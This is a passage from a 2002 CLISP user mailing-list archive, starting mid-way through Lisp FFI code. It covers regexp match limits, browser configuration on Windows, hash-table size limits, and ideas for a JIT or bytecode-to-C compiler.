~S" ffun)) (let ((new (ffi::parse-c-type ffi-type))) (unless (and (simple-vector-p new) (=3D (length new) 4) (eq (svref new 0) 'ffi:c-function) (integerp (svref new 3))) (error "Not a foreign function type specification: ~S" ffi-type)) (setf (sys::%record-ref ffun 2) (svref new 1)) ;result type (setf (sys::%record-ref ffun 3) (svref new 2)) ;argument types (setf (sys::%record-ref ffun 4) (svref new 3)) ;flags ffun)) ;; *Complex* malloc: allocates any nested structure, contrary to a ;; simple C malloc(). This does much more than you think! ;;;###export (defun foreign-malloc (ffi-type initval) (let ((ft (ffi::parse-c-type ffi-type)) ;; allocate foreign-variable via replication (fv (ffi::%cast f0 'ffi:c-pointer))) (setf (sys::%record-ref fv 3) ft) ;foreign type (setf (sys::%record-ref fv 2) (ffi::%sizeof ft)) ;sizeof(type) (setf (sys::%record-ref fv 0) "via malloc") ;; TODO use fcast now that it exists (redefine-foreign-function #'c-self `(ffi:c-function (:arguments (obj (ffi:c-ptr ,ffi-type) :in = :malloc-free)) (:return-type ffi:c-pointer) (:language :stdc))) (setf (sys::%record-ref fv 1) (c-self initval)) ;foreign-address fv)) ;(foreign-malloc 'ffi:int -123456789) ;; no idea for foreign-free() in Lisp. ;; malloc() is enough for experiments ;; Using the redirector and #'c-self, even stack-allocated foreigns are ;; implementable (using a Lisp function as "callback", not shown). ;; Writing them in C has advantages: ;; + not executing within context of a callback ;; + can return any Lisp values From samuel.steingold@verizon.net Fri Apr 12 11:54:37 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16w6Bt-00089x-00 for ; Fri, 12 Apr 2002 11:54:33 -0700 Received: from gnu.org ([151.203.48.85]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020412185431.ZECS13286.out019.verizon.net@gnu.org>; Fri, 12 Apr 2002 13:54:31 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] regexp-exec filters too much References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 11:57:04 2002 X-Original-Date: 12 Apr 2002 14:54:34 -0400 > * In message > * On the subject of "[clisp-list] regexp-exec filters too much" > * Sent on Fri, 12 Apr 2002 17:04:56 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Actually, the C interface can give the number of (). That's the re_nsub slot. > > A 100% solution would have the FFI code call regexec with a variable > size array instead of being able to handle only at most 10 entries > (as typical for ancient C programming). This is not yet possible > in CLISP. The number of arguments would be determined by the structure > returned from regcomp() (or an extra FFI call). > (regexec cpattern (cpattern->nsub cpattern)) -> array of size nsub > > I don't know if variable size arrays will ever be implemented for the FFI. I thought you were working on that! > b3) "100% better solution": revisit interface so as to not stupidly > impose NUM-MATCH=10 but obtain number of actual groups via > regexp-compile. Be dynamic! > > Fix a+b2) is appended. c1 means status quo. thanks. are you sure you b3 is out of reach? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Stupidity, like virtue, is its own reward. From lin8080@freenet.de Fri Apr 12 17:22:45 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wBJT-0000tO-00 for ; Fri, 12 Apr 2002 17:22:43 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16wBJP-0004fP-00 for clisp-list@lists.sourceforge.net; Sat, 13 Apr 2002 02:22:39 +0200 Received: from b77ba.pppool.de ([213.7.119.186] helo=freenet.de) by mx0.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16wBJN-0005Hz-00 for clisp-list@lists.sourceforge.net; Sat, 13 Apr 2002 02:22:37 +0200 Message-ID: <3CB781B0.E8557756@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [clisp-list] [clisp-lisp] clhs -> browse-url Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 17:23:08 2002 X-Original-Date: Sat, 13 Apr 2002 02:54:08 +0200 Thank you very much. It is good to have some light in the darkside deeps of the pc-internals. ............................. > Arseny Slobodjuck wrote: I copy the lines in here. [59]> (apropos 'browser) *BROWSER* variable *BROWSERS* variable *INSPECT-BROWSER* variable :BROWSER constant SYSTEM::BROWSER BROWSER [60]> *browser* NIL [61]> *browsers* ((:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)") (:KONQUEROR "kfmclient" "openURL" "~a") (:LYNX "xterm" "-e" "lynx" "~a") (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a") (:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch \"~a\")")) [62]> (setf *browser* :netscape) :NETSCAPE [63]> (clhs 'apropos) ;; running ["netscape" "-remote" "openURL(file://C|/LISP/HYPER1/Front/X_Master.h tm/Body/fun_aproposcm_apropos-list.html,new-window)"]... [pathname.d:10275] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file spec ified. 1. Break [64]> abort [65]> (push '(:netscape "c:\prgra~1\netscape\commun~1\program\netscape.exe" ) *browsers*) ((:NETSCAPE "c:prgra~1netscapecommun~1programnetscape.exe" "~A") (:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)") (:KONQUEROR "kfmclient" "openURL" "~a") (:LYNX "xterm" "-e" "lynx" "~a") (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a") (:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch \"~a\")")) [66]> (clhs 'apropos) ;; running ["c:prgra~1netscapecommun~1programnetscape.exe" "file://C|/LISP/HYPER 1/Front/X_Master.htm/Body/fun_aproposcm_apropos-list.html"]... [pathname.d:10275] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file spec ified. 1. Break [67]> I see there is the "\" not work so I do change this to [shift + 7] "/" : [68]> (push '(:netscape "C:/Progra~1/netscape/commun~1/program/netscape.exe" "~A ") *browsers*) ((:NETSCAPE "C:/Progra~1/netscape/commun~1/program/netscape.exe" "~A") (:NETSCAPE "c:prgra~1netscapecommun~1programnetscape.exe" "~A") (:NETSCAPE "netscape" "-remote" "openURL(~a,new-window)") (:KONQUEROR "kfmclient" "openURL" "~a") (:LYNX "xterm" "-e" "lynx" "~a") (:W3M "xterm" "-e" "w3m" "~a") (:MMM "mmm" "-external" "~a") (:MOSAIC "xmosaic" "~a") (:EMACS-W3 "gnudoit" "-q" "(w3-fetch \"~a\")")) [69]> (clhs 'apropos) ;; running ["C:/Progra~1/netscape/commun~1/program/netscape.exe" "file://C|/LISP /HYPER1/Front/X_Master.htm/Body/fun_aproposcm_apropos-list.html"]...done NIL [70]> Wow. Now the Netscape-Browser-Window opens and a little nice message appears: Could not find file... Hm. I gues this is the "file://C..." error from config.lisp. But I will check this later. (maybe "local://..." works?) The other (new) problem is now: In [68] you can see 3 lines with :Netscape. How can I delete the wrong 2 lines in the *browsers* variable ? (and the rest-browsers that are not on my system (:konqueror, :w3m, :mosaik). More and more I saw CLisp is something very fine. ............................... > Hoehle, Joerg-Cyril wrote : > The first place to look for is the CLISP implementation notes. Yes. Thank you. Most I looked in the clhs are the definitions to the commands. Is there a version-number ? copyright 1996. (19-08-96; the xanalys: 03-01-02) > My opinion: starting a program is highly dependent on OS and > user configuration. A hook should be provided for this purpose, > not a hard coded run-program with non-standard keywords. Not quite sure for that. The thing is named "portable" and I mean this should work without big differences made by/to the OS (why is there a config.lisp shipped? or why is sometimes the ./clsrc (?do not know the exact name) for additional user demands?) But don't worry. I assembled an old P75 on Monday (till Wednesday) and I installed SCO UnixWare 7.0.1 in a 60 day trail-version. So I hope I find the time (and some luck of course) to run clisp there. (It installed the netscape gold 3.0.2 (Jan/99).) > More portable code would query the registry for the application > associated with ".html" or ".htm"). Who wants to write that? > (:default ... sys::registry or new dir-key code ...) > (setq *browser* :default) in *.pseudo-code it sounds like this: {try or test browser ... netscape execute netscape (get-response) on error browser ... ie execute ie (get-respons) on error print-line ("please enter the path to your Internet-Browser :") (setf *browser* (read-line ...) (+ win-friendly checkbox: remind me later :)) } something like this ? Maybe a big config-file with readme to change things as you need/want is a better solution? (print (actual-settings)) > WARNING: could be large file [continue?] The other thing is, that many Win-User will not like programs who write something into the registry. This is someway a kind of distrust. (Think about a good slogan to the marketing-peoples). > 4) ext:*browser[s]* (or custom:*) should be mentioned in config.lisp > That's the file that users are supposed to look at. (not clhs.lisp) aha - yes. I read the readme file. Last week I post the list of error-messages while trying to compile-file src/config.lisp and I report the win32-error while running (saveinitmem). Therefore I can not say something about the status of my clisp 2.28, but it seems to work ok. Therefor I have a similar problem with pathname: On suse 7.3 I did: (setf user-homedir-pathname "/home/meiner/lisp/metest/") (setf metest (make-pathname :name "test" :type "lisp")) and I want to have :type "lis" + :type "lsp". Since I ended that night with that I do not try some more to this, like :type "lisp,lis,lsp" or something else. ......................................... sam wrote: (yes I browse to the online impnotes. Big : a h a) > if dir-key is made into a module, we will have to stick to > sys::registry which looks only under one root. > is this browser setting there? > I don't have a w32 box to check. > actually, this is not even necessary. > IIUC, if you tell w32 to "run" an HTML file, it will start a browser. > (cf. Emacs `w32-shell-execute'). Here I list some possible entries to the win98 registry. in: HKEY_CLASSES_ROOT\ .htm bzw. HKEY_CLASSES_ROOT\ .html If this entry is "htmlfile" the win32 starts the ie-browser. Otherwise you can set "NetscapeMarkup" as value, then win32 runs the netscape-browser when a htm-file is doubleclicked/called. The Internet-Options are in "Extras" -> "Internetoptionen" and goes to the registry-key : HKEY_CURRENT_USER\ Software\ Policies\ Microsoft\ Internet Explorer\ Control Panel (there is an option:) "Auf Internet Explorer als Standardbrowser überprüfen" (check if ie is standart-browser) Check_If_Default REG_DWORD Boolean 0 (if set to 1 this could be no longer changed!) and in : HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion there are 3 entries: ProgramFilesDir [with Dat-type] REG_SZ ProgramFilesPath [with Dat-type] REG_EXPAND_SZ (usualy the instal-path for new programs) CommonFilesDir [with Dat-type] REG_SZ (these are the common-files) most software ask this during the install-process or setup routine. The other way is (on NT, not win98, 2000?, ME?) from the command-prompt (start ->run-program : command.com ; opens a dos-box) (to link the *.ending with a programm) : ASSOC shows the actuel extension FTYPE shows the link to an application example: ASSOC .ME=READMEDatei FTYPE READMEDatei=winnt\system32\notepad.exe %1 But one can add these to the registry, HKEY_CLASSES_ROOT\ newValue... or via menue/file/associate :) why clisp opens when I click on an *.lisp-file. btw I add the domino-icon to my desktop for clisp. -------------------- Now typing and searching and testing about 3 houers :) bed is calling. (bye) stefan From ortmage@gmx.net Fri Apr 12 17:36:07 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wBWO-0002E5-00 for ; Fri, 12 Apr 2002 17:36:05 -0700 Received: (qmail 23662 invoked by uid 0); 13 Apr 2002 00:35:57 -0000 From: Scott Williams To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0009558537@gmx.net X-Authenticated-IP: [67.235.7.63] Message-ID: <30556.1018658156@www56.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] A general query on the virtual machine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 17:37:01 2002 X-Original-Date: Sat, 13 Apr 2002 02:35:56 +0200 (MEST) Browsing through the impnotes, i ran across this: "The virtual machine The bytecode can be thought of as being interpreted by a virtual processor. The engine which actually interprets the bytecode (the "implementation of the virtual machine") is actually a C function, but it could as well be a __just-in-time compiler which translates a function's bytecode into hardware CPU instructions__ the first time said function is called." I'm interested in the part that's preceded by __'s: "just-in-time compiler which translates a function's bytecode into hardware CPU instructions." How hard would this be to do? I haven't dug extensively, and i'm still not very familiar with clisp, but could anyone point me to more documentation on how the bytecode compiler/interpreter works? :o) This is mostly curiosity, as i doubt i'm skilled enough to actually implement a byte-code to native linux assembler, but the attempt would improve my understanding of clisp and assembler. Thanks, -Scott -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From peter.wood@worldonline.dk Fri Apr 12 23:01:08 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wGaw-00051q-00 for ; Fri, 12 Apr 2002 23:01:06 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 7CAB8B7DA for ; Sat, 13 Apr 2002 08:00:51 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3D5lZK00179 for clisp-list@lists.sourceforge.net; Sat, 13 Apr 2002 07:47:35 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A general query on the virtual machine Message-ID: <20020413074735.A170@localhost.localdomain> References: <30556.1018658156@www56.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <30556.1018658156@www56.gmx.net>; from ortmage@gmx.net on Sat, Apr 13, 2002 at 02:35:56AM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 12 23:02:02 2002 X-Original-Date: Sat, 13 Apr 2002 07:47:35 +0200 Hi, On Sat, Apr 13, 2002 at 02:35:56AM +0200, Scott Williams wrote: > but could anyone point me to more documentation on how the > bytecode compiler/interpreter works? Impnotes is the documentation. Apart from that, the source and your friend, GDB.. Regards, Peter From pjb@arcangel.dircon.co.uk Sat Apr 13 05:52:08 2002 Received: from mta02-svc.ntlworld.com ([62.253.162.42]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wN0f-0003H8-00 for ; Sat, 13 Apr 2002 05:52:05 -0700 Received: from proxyplus.universe ([62.255.69.199]) by mta02-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020413125159.ZGOR286.mta02-svc.ntlworld.com@proxyplus.universe> for ; Sat, 13 Apr 2002 13:51:59 +0100 Received: from 127.0.0.1 by Proxy+; Sat, 13 Apr 2002 10:49:38 GMT To: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] CLISP stack & hash tables References: <1805917388.20020323193446@ich.dvo.ru> <1512001668.20020324101158@ich.dvo.ru> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Sam Steingold's message of "23 Mar 2002 22:01:54 -0500" Message-ID: Lines: 76 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 13 05:53:02 2002 X-Original-Date: 13 Apr 2002 11:49:35 +0100 Hi, This is just a FYI email. Basically, Clisp from CVS compiled with on Cygwin on Win98SE has no problems with hash tables or Joerg's nines problem. > * On the subject of "[clisp-list] Re: Building CLISP for Windows" > * Sent on Fri, 8 Mar 2002 11:06:10 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > o (queens 21.0s0) still crashes. Works with Cygwin/Win98SE OOTB. [20]> (nines 21.0s0) (450 2 450 1 450 4 450 13 9450 22 9450 33 9450 103 198450 195) Sam Steingold writes: > Hi Arseny, > > > * In message <1512001668.20020324101158@ich.dvo.ru> > > * On the subject of "Re[2]: [clisp-list] CLISP stack & hash tables" > > * Sent on Sun, 24 Mar 2002 10:11:58 +1000 > > * Honorable Arseny Slobodjuck writes: > > > > Sunday, March 24, 2002, 3:43:24 AM, you wrote: > > > > [24]>> (make-hash-table :size (ash most-positive-fixnum -1) ) > > Sam> #S(hash-table eql) > > [25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) )) > > Sam> *** - Hash table size 8388608 too large > > > > On winnt all just the same, but if you'll begin to work with big HTs > > (limits I have roughly pointed out), "Program stack overflow. RESET" > > arises. It's not necessary to fill all such a big HT, usually 5000 > > elements are enough. > > [1]> (setq h (make-hash-table :size 100000) > ) > #S(HASH-TABLE EQL) > [2]> (dotimes (i 100000) (setf (gethash i h) i)) > NIL > [3]> (setq *print-array* nil) > NIL > [4]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n) (setf (gethash i h) i)))) > Z > [5]> (z 10000) > NIL > [6]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n h) (setf (gethash i h) i)))) > Z > [7]> (z 10000) > # > [8]> (z 100000) > # > [9]> (z 100000) > # > [10]> (z 1000000) > # > [11]> (z 10000000) > > *** - Hash table size 10000000 too large > 1. Break [12]> > [13]> (z (ash most-positive-fixnum -1)) > # > [14]> (z (1+ (ash most-positive-fixnum -1))) > > *** - Hash table size 8388608 too large > 1. Break [15]> Cygwin/Win98SE is the same, i.e., works OOTB. Peter From samuel.steingold@verizon.net Sat Apr 13 11:37:47 2002 Received: from out013slb.verizon.net ([206.46.170.47] helo=out014.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wSPD-00073u-00 for ; Sat, 13 Apr 2002 11:37:47 -0700 Received: from gnu.org ([151.203.48.85]) by out014.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020413183740.EMM19716.out014.verizon.net@gnu.org>; Sat, 13 Apr 2002 13:37:40 -0500 To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A general query on the virtual machine References: <30556.1018658156@www56.gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <30556.1018658156@www56.gmx.net> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 13 11:38:03 2002 X-Original-Date: 13 Apr 2002 14:37:46 -0400 > * In message <30556.1018658156@www56.gmx.net> > * On the subject of "[clisp-list] A general query on the virtual machine" > * Sent on Sat, 13 Apr 2002 02:35:56 +0200 (MEST) > * Honorable Scott Williams writes: > > ...a byte-code to native linux assembler... look at interpret_bytecode_() in eval.d. byte-code --> C compiler would be a great speed gain (some estimate a factor of 3-4; it remains to be seen). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! nobody's life, liberty or property are safe while the legislature is in session From ortmage@gmx.net Sat Apr 13 14:57:29 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wVWR-0007en-00 for ; Sat, 13 Apr 2002 14:57:28 -0700 Received: (qmail 17436 invoked by uid 0); 13 Apr 2002 21:57:20 -0000 From: Scott Williams To: clisp-list@lists.sourceforge.net,sds@fsf.org MIME-Version: 1.0 References: Subject: Re: [clisp-list] A general query on the virtual machine X-Priority: 3 (Normal) X-Authenticated-Sender: #0009558537@gmx.net X-Authenticated-IP: [67.235.7.116] Message-ID: <5833.1018735039@www42.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 13 14:58:02 2002 X-Original-Date: Sat, 13 Apr 2002 23:57:19 +0200 (MEST) > > * In message <30556.1018658156@www56.gmx.net> > > * On the subject of "[clisp-list] A general query on the virtual > machine" > > * Sent on Sat, 13 Apr 2002 02:35:56 +0200 (MEST) > > * Honorable Scott Williams writes: > > > > ...a byte-code to native linux assembler... > > look at interpret_bytecode_() in eval.d. > byte-code --> C compiler would be a great speed gain > (some estimate a factor of 3-4; it remains to be seen). So in theory, one would load all necessary functions into clisp, then export the lispimage, then convert the lispimage to C, compile it, and link it with the memory allocation functions and garbage collector---that would work to make stand-alone executables (ie, no other files needed for the program to run), but what sort of process would you go through so that natively assembled object files could be loaded just like a bytecode FAS file? -Scott > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > Read, think and remember! > > nobody's life, liberty or property are safe while the legislature is in > session > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From samuel.steingold@verizon.net Sat Apr 13 15:53:05 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wWOF-0006kd-00 for ; Sat, 13 Apr 2002 15:53:04 -0700 Received: from gnu.org ([151.203.48.85]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020413225327.DLKD18698.out007.verizon.net@gnu.org>; Sat, 13 Apr 2002 17:53:27 -0500 To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A general query on the virtual machine References: <5833.1018735039@www42.gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5833.1018735039@www42.gmx.net> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 13 15:54:01 2002 X-Original-Date: 13 Apr 2002 18:53:09 -0400 > * In message <5833.1018735039@www42.gmx.net> > * On the subject of "Re: [clisp-list] A general query on the virtual machine" > * Sent on Sat, 13 Apr 2002 23:57:19 +0200 (MEST) > * Honorable Scott Williams writes: > > > look at interpret_bytecode_() in eval.d. > > byte-code --> C compiler would be a great speed gain > > (some estimate a factor of 3-4; it remains to be seen). > > So in theory, one would load all necessary functions into clisp, then > export the lispimage, then convert the lispimage to C, compile it, and > link it with the memory allocation functions and garbage > collector---that would work to make stand-alone executables (ie, no > other files needed for the program to run), but what sort of process > would you go through so that natively assembled object files could be > loaded just like a bytecode FAS file? these natively assembled object files will be linked into lisp.run using the existing modules infrastructure or linked into a shared object (DLL) and dynamically loaded into CLISP using the code Joerg is working on right now (or so I hope :-) note that we are talking pure sci-fi here already. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Bus error -- please leave by the rear door. From dan.stanger@ieee.org Sat Apr 13 19:44:58 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wa0g-0007JY-00 for ; Sat, 13 Apr 2002 19:44:58 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16wa0e-0001dk-00 for clisp-list@lists.sourceforge.net; Sat, 13 Apr 2002 20:44:56 -0600 Message-ID: <3CB8ED4B.A573A898@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] A general query on the virtual machine References: <5833.1018735039@www42.gmx.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 13 19:45:02 2002 X-Original-Date: Sat, 13 Apr 2002 20:45:31 -0600 The gcj project which is a front end for the gnu compiler for java, can read java byte codes and convert them to a executable. The Kaffe project has a jit for the java virtual machine. Perhaps one of these could be modified to be a jit for clisp. Dan Stanger Sam Steingold wrote: > > * In message <5833.1018735039@www42.gmx.net> > > * On the subject of "Re: [clisp-list] A general query on the virtual machine" > > * Sent on Sat, 13 Apr 2002 23:57:19 +0200 (MEST) > > * Honorable Scott Williams writes: > > > > > look at interpret_bytecode_() in eval.d. > > > byte-code --> C compiler would be a great speed gain > > > (some estimate a factor of 3-4; it remains to be seen). > > > > So in theory, one would load all necessary functions into clisp, then > > export the lispimage, then convert the lispimage to C, compile it, and > > link it with the memory allocation functions and garbage > > collector---that would work to make stand-alone executables (ie, no > > other files needed for the program to run), but what sort of process > > would you go through so that natively assembled object files could be > > loaded just like a bytecode FAS file? > > these natively assembled object files will be linked into lisp.run > using the existing modules infrastructure or linked into a shared object > (DLL) and dynamically loaded into CLISP using the code Joerg is working > on right now (or so I hope :-) > > note that we are talking pure sci-fi here already. > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > Read, think and remember! > > Bus error -- please leave by the rear door. > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From will@misconception.org.uk Sat Apr 13 19:59:07 2002 Received: from mail6.svr.pol.co.uk ([195.92.193.212]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16waEN-0000fB-00 for ; Sat, 13 Apr 2002 19:59:07 -0700 Received: from modem-417.abra.dialup.pol.co.uk ([217.135.2.161] helo=there) by mail6.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16waEH-0003LZ-00 for clisp-list@lists.sourceforge.net; Sun, 14 Apr 2002 03:59:05 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A general query on the virtual machine X-Mailer: KMail [version 1.3.2] References: <3CB8ED4B.A573A898@ieee.org> In-Reply-To: <3CB8ED4B.A573A898@ieee.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 13 20:00:02 2002 X-Original-Date: Sun, 14 Apr 2002 04:00:12 +0100 On Sunday 14 Apr 2002 3:45 am, Dan Stanger wrote: > The gcj project which is a front end for the gnu compiler for java, can > read java byte codes > and convert them to a executable. The Kaffe project has a jit for the java > virtual machine. > Perhaps one of these could be modified to be a jit for clisp. Kava does Scheme -> Java Bytecode also. From dan.stanger@ieee.org Sat Apr 13 20:13:02 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by 